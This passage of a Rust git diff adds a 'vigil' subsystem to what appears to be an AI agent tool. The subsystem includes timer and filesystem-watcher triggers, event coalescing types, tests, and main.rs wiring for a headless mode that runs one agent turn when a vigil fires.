< 2 { + let now = tokio::time::Instant::now(); + assert!( + now < deadline, + "timed out waiting for both vigils; seen={seen:?}" + ); + match tokio::time::timeout(deadline - now, rx.recv()).await { + Ok(Some(obs)) => { + seen.insert(obs.vigil_name.clone()); + } + Ok(None) | Err(_) => break, + } + } + + assert!(seen.contains("v-a"), "seen={seen:?}"); + assert!(seen.contains("v-b"), "seen={seen:?}"); +} + +#[tokio::test(flavor = "multi_thread")] +async fn toll_prompt_substitutes_name_and_events() { + let mut keeper = spawn_keeper(vec![toll_entry( + "pv", + 3600, + 2, + "name={name} events={events}", + None, + )]); + + let tx = keeper.vigils[0].tx.clone(); + tx.send(VigilEvent { + vigil_name: "pv".to_string(), + trigger: TriggerKind::Toll, + context: serde_json::json!({ "kind": "toll" }), + timestamp: chrono::Utc::now(), + }) + .await + .expect("send vigil event"); + + let obs = recv_observance_from(&mut keeper, "pv", Duration::from_secs(8)) + .await + .expect("prompt vars observance"); + + assert_eq!(obs.prompt, "name=pv events=toll"); +} diff --git a/src/extras/vigil/toll.rs b/src/extras/vigil/toll.rs new file mode 100644 index 00000000..f6d2bedc --- /dev/null +++ b/src/extras/vigil/toll.rs @@ -0,0 +1,64 @@ +//! Toll trigger — fires on a fixed timer interval. +#![allow(dead_code)] + +use std::collections::VecDeque; +use tokio::sync::mpsc; +use tracing::warn; + +use super::types::{HookDispatchRequest, TriggerKind, VigilEvent}; + +/// Number of events to buffer locally before dropping the oldest. +const LOCAL_RING_SIZE: usize = 256; + +/// Spawn a toll (timer) trigger. Pushes a `VigilEvent` into the channel at +/// every `interval_secs` boundary. Ring-buffer backpressure: when the channel +/// is full, the oldest event in the local buffer is dropped and retried. +/// Dispatches `on-vigil-event` hook before pushing each event. +pub fn spawn_toll( + vigil_name: String, + interval_secs: u64, + tx: mpsc::Sender, + hook_tx: mpsc::Sender, +) -> tokio::task::JoinHandle<()> { + tokio::spawn(async move { + let mut interval = tokio::time::interval(std::time::Duration::from_secs(interval_secs)); + let mut pending: VecDeque = VecDeque::with_capacity(LOCAL_RING_SIZE); + // Skip the immediate first tick — first fire after interval_secs. + interval.tick().await; + loop { + interval.tick().await; + let event = VigilEvent { + vigil_name: vigil_name.clone(), + trigger: TriggerKind::Toll, + context: serde_json::json!({"kind": "toll", "interval_secs": interval_secs}), + timestamp: chrono::Utc::now(), + }; + let hook_ctx = format!( + "@{{:vigil \"{}\" :trigger :toll :interval_secs {}}}", + vigil_name, interval_secs + ); + let _ = hook_tx.try_send(HookDispatchRequest { + hook_name: "on-vigil-event".into(), + context: hook_ctx, + }); + // Flush pending events before pushing the new one. + while let Some(ev) = pending.pop_front() { + if tx.try_send(ev.clone()).is_err() { + pending.push_front(ev); + break; + } + } + // Push new event; pop oldest if ring is full. + if pending.len() >= LOCAL_RING_SIZE { + let _ = pending.pop_front(); + warn!( + vigil = %vigil_name, + "toll local ring full, dropping oldest event" + ); + } + if tx.try_send(event.clone()).is_err() { + pending.push_back(event); + } + } + }) +} diff --git a/src/extras/vigil/types.rs b/src/extras/vigil/types.rs new file mode 100644 index 00000000..ea23ee9a --- /dev/null +++ b/src/extras/vigil/types.rs @@ -0,0 +1,215 @@ +//! Core types for the vigil heartbeat/wakeup runtime. +#![allow(dead_code)] + +use std::collections::HashMap; +use std::sync::Arc; +use tokio::sync::mpsc; + +use crate::config::{VigilCommand, VigilRite}; + +/// An event pushed into a vigil's queue by a trigger (toll, watcher, harbinger). +#[derive(Debug, Clone)] +pub struct VigilEvent { + pub vigil_name: String, + pub trigger: TriggerKind, + /// Trigger-specific context data (file paths, socket payload, etc.). + pub context: serde_json::Value, + pub timestamp: chrono::DateTime, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum TriggerKind { + Toll, + Watcher, + Harbinger, +} + +impl TriggerKind { + pub fn as_str(&self) -> &'static str { + match self { + TriggerKind::Toll => "toll", + TriggerKind::Watcher => "watcher", + TriggerKind::Harbinger => "harbinger", + } + } +} + +/// Per-vigil channel pair. `tx` (sender) is `Clone` and shared with triggers. +/// `rx` (receiver) is consumed by the reaper for that vigil. +pub fn make_vigil_channel(bound: usize) -> (mpsc::Sender, mpsc::Receiver) { + mpsc::channel(bound) +} + +/// Runtime state for one active vigil. `tx` is shared with triggers; +/// `rx` is taken by the reaper at startup. +pub struct VigilInstance { + pub name: String, + pub reap_interval_secs: u64, + pub prompt: String, + pub procession: Option, + pub tx: mpsc::Sender, + pub running: Arc, +} + +/// Bundle passed to the reaper: the input channel, rite config, prompt +/// template, and the "observance in flight" flag. +pub struct VigilReapInput { + pub name: String, + pub trigger: TriggerKind, + pub reap_interval_secs: u64, + pub rx: mpsc::Receiver, + pub running: Arc, + pub rite: Option, + pub prompt: String, + pub procession: Option, +} + +/// Snapshot of a single vigil's runtime state, returned by StatusReq queries. +#[derive(Debug, Clone)] +pub struct VigilStatusInfo { + pub name: String, + pub trigger: TriggerKind, + pub reap_interval_secs: u64, + pub running: bool, + pub paused: bool, + /// Number of events collected in the most recent reap window. + pub last_event_count: usize, + /// ISO 8601 timestamp of the most recent event reap. + pub last_event_at: Option, +} + +/// Request to dispatch a plugin hook from a background task (trigger producers +/// or reaper). The UI loop drains the hook channel and dispatches via PluginManager. +#[derive(Debug, Clone)] +pub struct HookDispatchRequest { + pub hook_name: String, + pub context: String, +} + +/// Control messages for the vigil-keeper / reaper. +#[derive(Debug)] +pub enum VigilCtl { + Shutdown, + Pause { + name: String, + }, + PauseAll, + Resume { + name: String, + }, + ResumeAll, + /// Query: respond with a snapshot of all vigil states. + StatusReq { + respond_to: tokio::sync::oneshot::Sender>, + }, +} + +/// Result of a rite gate check. +#[derive(Debug)] +pub enum RiteResult { + Pass { + output: Option, + /// Exit code of the rite command. `None` when the rite had no `cmd` + /// (e.g. a `git_dirty`-only gate). + exit_code: Option, + }, + Fail { + reason: String, + }, +} + +/// Runtime representation of a vigil definition (deserialized from config +/// and/or filesystem). +#[derive(Debug, Clone)] +pub struct VigilConfig { + pub name: String, + pub trigger: TriggerKind, + pub reap_interval_secs: u64, + pub rite: Option, + pub prompt: String, + pub procession: Option, +} + +/// Per-trigger payload variant carried in a VigilEvent's context. +#[derive(Debug, Clone)] +pub enum VigilPayload { + Toll { + interval_secs: u64, + }, + Watcher { + file: String, + event: String, + }, + Harbinger { + data: String, + commands: HashMap, + }, +} + +/// Output of coalescing multiple VigilEvents into one batch. +#[derive(Debug, Clone)] +pub struct CoalescedBatch { + pub vigil_name: String, + pub trigger: TriggerKind, + pub files: Vec, + pub events: Vec, + pub event_count: usize, + pub timestamp: chrono::DateTime, + pub harbinger_data: Option, + pub rite_output: Option, + pub rite_exit_code: Option, +} + +impl CoalescedBatch { + pub fn from_events( + vigil_name: String, + trigger: TriggerKind, + events: &[VigilEvent], + rite_output: Option, + rite_exit_code: Option, + ) -> Self { + let mut files: Vec = Vec::new(); + let mut payloads: Vec = Vec::new(); + let mut harbinger_data: Option = None; + + for event in events { + if let Some(fs) = event.context.get("files").and_then(|v| v.as_array()) { + for f in fs { + if let Some(s) = f.as_str() + && !files.contains(&s.to_string()) + { + files.push(s.to_string()); + } + } + } + if harbinger_data.is_none() + && let Some(hd) = event.context.get("harbinger_data").and_then(|v| v.as_str()) + { + harbinger_data = Some(hd.to_string()); + } + payloads.push(event.context.clone()); + } + + Self { + vigil_name, + trigger, + files, + events: payloads, + event_count: events.len(), + timestamp: chrono::Utc::now(), + harbinger_data, + rite_output, + rite_exit_code, + } + } +} + +/// Runtime tracking for vigil mode — held by the keeper and surfaced to the +/// post-turn dispatch so `decide_post_done_action` knows whether a vigil +/// observance just completed. +#[derive(Debug, Clone)] +pub struct VigilRunState { + pub active: bool, + pub current_vigil: Option, + pub ctl_tx: Option>, +} diff --git a/src/extras/vigil/watcher.rs b/src/extras/vigil/watcher.rs new file mode 100644 index 00000000..fd1d1e0c --- /dev/null +++ b/src/extras/vigil/watcher.rs @@ -0,0 +1,140 @@ +//! Watcher trigger — fires on filesystem change events via the `notify` crate. +//! Debounces rapid-fire events at 500ms. +#![allow(dead_code)] + +use notify::{Event, EventKind, RecursiveMode, Watcher}; +use std::collections::VecDeque; +use std::path::PathBuf; +use tokio::sync::mpsc; +use tracing::warn; + +use super::types::{HookDispatchRequest, TriggerKind, VigilEvent}; + +/// Spawn a watcher trigger. Pushes coalesced events into the channel. +/// Ring-buffer backpressure via a local `VecDeque`: oldest event is dropped +/// when the ring is full, and pending events are flushed before new ones. +/// Dispatches `on-vigil-event` hook before pushing each batch. +pub fn spawn_watcher( + vigil_name: String, + path: PathBuf, + tx: mpsc::Sender, + hook_tx: mpsc::Sender, +) -> Result, String> { + let (event_tx, mut event_rx) = mpsc::channel::>(64); + + let mut watcher = notify::recommended_watcher(move |res: Result| { + if let Ok(event) = res { + let kind = event.kind; + if matches!( + kind, + EventKind::Modify(_) | EventKind::Create(_) | EventKind::Remove(_) + ) { + let paths: Vec = event.paths; + let _ = event_tx.try_send(paths); + } + } + }) + .map_err(|e| format!("create watcher for {vigil_name}: {e}"))?; + + let watch_path = path.clone(); + watcher + .watch(&watch_path, RecursiveMode::Recursive) + .map_err(|e| format!("watch {:?} for {vigil_name}: {e}", watch_path))?; + + Ok(tokio::spawn(async move { + // Hold `_watcher` alive until this task ends. + let _watcher = watcher; + + let mut event_paths: Vec = Vec::new(); + let debounce = std::time::Duration::from_millis(500); + const LOCAL_RING_SIZE: usize = 256; + let mut pending: VecDeque = VecDeque::with_capacity(LOCAL_RING_SIZE); + + loop { + match tokio::time::timeout(debounce, event_rx.recv()).await { + Ok(Some(paths)) => { + event_paths.extend(paths); + // Drain any additional events that arrived during the debounce window. + while let Ok(paths) = event_rx.try_recv() { + event_paths.extend(paths); + } + + let event_count = event_paths.len(); + let event = VigilEvent { + vigil_name: vigil_name.clone(), + trigger: TriggerKind::Watcher, + context: serde_json::json!({ + "files": std::mem::take(&mut event_paths), + "event_count": event_count, + }), + timestamp: chrono::Utc::now(), + }; + let hook_ctx = format!( + "@{{:vigil \"{}\" :trigger :watcher :event_count {}}}", + vigil_name, event_count + ); + let _ = hook_tx.try_send(HookDispatchRequest { + hook_name: "on-vigil-event".into(), + context: hook_ctx, + }); + // Flush pending events before pushing the new batch. + while let Some(ev) = pending.pop_front() { + if tx.try_send(ev.clone()).is_err() { + pending.push_front(ev); + break; + } + } + if pending.len() >= LOCAL_RING_SIZE { + let _ = pending.pop_front(); + warn!( + vigil = %vigil_name, + "watcher local ring full, dropping oldest event" + ); + } + if tx.try_send(event.clone()).is_err() { + pending.push_back(event); + } + } + Ok(None) => break, // Channel closed. + Err(_) => { + // Timeout — no events in the debounce window, flush if any. + if !event_paths.is_empty() { + let event = VigilEvent { + vigil_name: vigil_name.clone(), + trigger: TriggerKind::Watcher, + context: serde_json::json!({ + "files": std::mem::take(&mut event_paths), + }), + timestamp: chrono::Utc::now(), + }; + let hook_ctx = format!( + "@{{:vigil \"{}\" :trigger :watcher :flush true}}", + vigil_name + ); + let _ = hook_tx.try_send(HookDispatchRequest { + hook_name: "on-vigil-event".into(), + context: hook_ctx, + }); + // Flush pending before timeout-flush event. + while let Some(ev) = pending.pop_front() { + if tx.try_send(ev.clone()).is_err() { + pending.push_front(ev); + break; + } + } + if pending.len() >= LOCAL_RING_SIZE { + let _ = pending.pop_front(); + warn!( + vigil = %vigil_name, + "watcher local ring full (flush), dropping oldest event" + ); + } + if tx.try_send(event.clone()).is_err() { + pending.push_back(event); + } + } + } + } + } + })) +} diff --git a/src/main.rs b/src/main.rs index 4f975696..6ffdc85c 100644 --- a/src/main.rs +++ b/src/main.rs @@ -2052,6 +2052,211 @@ async fn main() -> anyhow::Result<()> { #[cfg(not(feature = "mcp"))] let mcp_wake_rx: Option> = None; + // Vigil: start the vigil-keeper and wire its wake channel. + // The keeper owns the background reaper and trigger tasks; we hold + // onto it so it stays alive while the observance/hook receivers are + // handed to the headless --vigil-once driver below. + #[cfg(feature = "vigil")] + let ( + mut _vigil_keeper, + _vigil_wake_rx, + mut vigil_observance_rx, + _vigil_ctl_tx, + mut vigil_hook_rx, + ) = { + if !cli.vigil_mode && !cli.vigil_once { + (None, None, None, None, None) + } else { + // Merge config vigils with --vigil-config file entries (if any). + let mut entries = if let Some(cfg_entries) = cfg.vigils.as_ref() { + cfg_entries.clone() + } else { + vec![] + }; + if let Some(ref config_path) = cli.vigil_config { + if config_path.exists() { + match std::fs::read_to_string(config_path) { + Ok(json_str) => { + match serde_json::from_str::>( + &json_str, + ) { + Ok(file_entries) => { + for fe in file_entries { + if !entries.iter().any(|e| e.name == fe.name) { + entries.push(fe); + } + } + } + Err(e) => { + eprintln!( + "warning: --vigil-config file has invalid JSON: {e}" + ); + } + } + } + Err(e) => { + eprintln!("warning: cannot read --vigil-config file: {e}"); + } + } + } else { + eprintln!( + "warning: --vigil-config file not found: {}", + config_path.display() + ); + } + } + + let paused_names = { + let paths = crate::extras::dirge_paths::ProjectPaths::new( + &std::env::current_dir().unwrap_or_else(|_| std::path::PathBuf::from(".")), + ); + let db_path = paths.session_db_path(); + if db_path.exists() { + match crate::extras::vigil_db::VigilStore::open_at(&db_path) { + Ok(store) => store + .list_non_resting() + .unwrap_or_default() + .into_iter() + .filter(|r| { + matches!(r.status, crate::extras::vigil_db::VigilStatus::Paused) + }) + .map(|r| r.name) + .collect::>(), + Err(_) => std::collections::HashSet::new(), + } + } else { + std::collections::HashSet::new() + } + }; + match crate::extras::vigil::VigilKeeper::from_config_and_filesystem( + entries.clone(), + paused_names, + ) { + Ok(mut keeper) => { + if keeper.vigils.is_empty() { + eprintln!("warning: --vigil set but no vigils configured"); + (None, None, None, None, None) + } else { + let n = keeper.vigils.len(); + eprintln!("info: vigil-keeper started with {n} vigil(s)"); + let wake = keeper.wake_rx.take(); + let obs = keeper.observance_rx.take(); + let ctl = keeper.ctl_tx.clone(); + let hook_rx = keeper.hook_rx.take(); + (Some(keeper), wake, obs, ctl, hook_rx) + } + } + Err(e) => { + eprintln!("warning: vigil-keeper failed to start: {e}"); + (None, None, None, None, None) + } + } + } + }; + // Headless vigil: wait for a single observance, run one agent turn + // on its prompt, dispatch on-vigil-observance, then exit. Mirrors the + // --loop headless driver but keyed off the vigil-keeper instead of a + // LOOP_PLAN iteration. + #[cfg(feature = "vigil")] + if cli.vigil_once { + let rx = vigil_observance_rx + .as_mut() + .ok_or_else(|| anyhow::anyhow!("--vigil-once requires an active vigil-keeper"))?; + // Run the named poll command now that the vigil bridge is live so + // its (vigil/emit ...) lands in the keeper's queue before we wait. + #[cfg(feature = "plugin")] + if let Some(cmd) = cli.vigil_once_command.as_deref() + && let Some(pm_arc) = plugin_manager.as_ref() + { + let cmd = cmd.to_string(); + let pm = pm_arc.clone(); + match tokio::task::spawn_blocking(move || { + let mut mgr = pm.lock_ignore_poison(); + let handler = mgr + .list_commands() + .into_iter() + .find(|(name, _)| name == &cmd) + .map(|(_, handler)| handler) + .unwrap_or_else(|| cmd.clone()); + mgr.invoke_command(&handler, "") + }) + .await + { + Ok(Ok(_)) => {} + Ok(Err(e)) => eprintln!("warning: vigil poll command failed: {e}"), + Err(e) => eprintln!("warning: vigil poll command panicked: {e}"), + } + } + // Reap fires at the vigil's reap_interval boundary (up to 60s in + // the fixtures); allow several windows before declaring a timeout. + let obs = match tokio::time::timeout(std::time::Duration::from_secs(180), rx.recv()) + .await + { + Ok(Some(obs)) => obs, + Ok(None) => { + anyhow::bail!("vigil: observance channel closed before an observance arrived") + } + Err(_) => anyhow::bail!("vigil: timed out after 180s waiting for an observance"), + }; + let prompt = if obs.prompt.is_empty() { + format!("[vigil] {} - {} event(s)", obs.vigil_name, obs.event_count) + } else { + obs.prompt.clone() + }; + eprintln!( + "info: vigil observance for '{}' ({} event(s))", + obs.vigil_name, obs.event_count + ); + let (response, _tool_calls, _usage) = agent + .run_print( + &prompt, + cli.resolve_max_agent_turns(&cfg), + cli.output_format, + Vec::new(), + ) + .await?; + // Release the in-flight flag so a future reap isn't skipped if + // the keeper outlives this one-shot turn. + obs.running + .store(false, std::sync::atomic::Ordering::SeqCst); + #[cfg(feature = "plugin")] + if let Some(pm_arc) = plugin_manager.as_ref() { + let ctx = crate::extras::vigil::observance_context( + &obs.vigil_name, + obs.event_count, + &response, + ); + let pm = pm_arc.clone(); + tokio::task::spawn_blocking(move || { + pm.lock_ignore_poison() + .dispatch_tool_hook("on-vigil-observance", &ctx) + }) + .await + .ok(); + } + + // Deliver any queued on-vigil-event / on-vigil-reap hook + // requests. The interactive loop drains these every iteration; + // --vigil-once has no loop, so flush them once before exiting. + if let Some(ref mut hook_rx) = vigil_hook_rx { + while let Ok(req) = hook_rx.try_recv() { + #[cfg(feature = "plugin")] + if let Some(pm) = plugin_manager.as_ref() { + let pm = pm.clone(); + let hook = req.hook_name; + let ctx = req.context; + tokio::task::spawn_blocking(move || { + pm.lock_ignore_poison().dispatch_tool_hook(&hook, &ctx) + }) + .await + .ok(); + } + } + } + crate::agent::tools::bg_shell::global().kill_all(); + return Ok(()); + } + ui::run_interactive( client, agent,